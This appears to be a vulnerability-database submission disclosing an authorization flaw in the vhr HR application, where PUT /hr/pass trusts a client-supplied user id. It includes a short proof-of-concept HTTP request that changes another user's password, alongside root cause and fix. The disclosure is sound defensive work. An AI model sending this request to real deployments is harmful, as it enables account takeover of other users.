| Title | lenve vhr 1.0-SNAPSHOT Improper Authorization |
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| Description | vhr（微人事） — IDOR in PUT /hr/pass (VHR-VULN-009)
Product: vhr（微人事） 1.0-SNAPSHOT
CWE: CWE-285
Classification: Improper Authorization
=== ROOT CAUSE ===
`HrInfoController.updatePass()` — no `hrid == currentUser.id` check.
=== REPRODUCTION ===
`hrid` parameter is not bound to session user; attacker changes any user's password if old password known.
PoC:
PUT /hr/pass HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
{"hrid":3,"oldpass":"123","pass":"IdorPoc456!"}
Expected: {"status":200,"msg":"更新成功!"}
=== IMPACT ===
Account takeover when default/weak passwords exist (chains with VHR-VULN-008).
=== FIX ===
Ignore client `hrid`; use authenticated principal id only.
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| Source | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-009-password-change-idor.md |
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| User | Anonymous User |
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| Submission | 07/16/2026 13:49 (2 months ago) |
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| Moderation | 09/12/2026 10:24 (2 months later) |
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| Status | Accepted |
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| VulDB entry | 403087 [lenve vhr 1.0-SNAPSHOT Password Update /hr/pass HrInfoController.updatePass hrid improper authorization] |
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| Points | 20 |
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